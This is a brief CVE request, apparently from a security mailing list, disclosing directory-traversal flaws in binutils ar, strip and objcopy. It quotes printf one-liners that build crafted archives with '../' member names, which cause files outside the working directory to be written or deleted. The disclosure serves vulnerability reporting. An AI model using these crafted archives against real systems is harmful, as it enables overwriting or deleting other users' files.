Subject: CVE Request: binutils -- directory traversal
Hello,
it seems binutils don't check paths when extracting files from archives.
----------------------------------------------------------------------
From https://sourceware.org/bugzilla/show_bug.cgi?id=17533#c4 :
directory traversal [in ar]:
$ printf '!<arch>\n%-48s%-10d`\n../file\n%-48s%-10s`\n' '//' 8 '/0' 0 >
test.a
$ ar xv test.a
x - ../file
From https://sourceware.org/bugzilla/show_bug.cgi?id=17533#c7 :
Both absolute and relative paths could be used for the attack.
----------------------------------------------------------------------
From https://sourceware.org/bugzilla/show_bug.cgi?id=17552 :
strip and objcopy don't filter out .. components from paths inside archive.
Consider an archive created with the following command:
$ printf '!<arch>\n%-48s%-10d`\n../file\n%-48s%-10s`\n' '//' 8 '/0' 0 >
test.a
then runnig strip/objcopy on it will unlink ./file (e.g.
unlink("stq0g2tL/../st4Mtgu4/../file") ).
Consider this:
$ printf '!<arch>\n%-48s%-10d`\n../../file\n\n%-48s%-10s`\n' '//' 12
'/0' 0 > test.a
then runnig strip/objcopy on it will unlink ../../file (e.g.
unlink("staOxyFW/../../st4KIqLm/../../file") ).
----------------------------------------------------------------------
Could CVEs please be assigned to these issues?
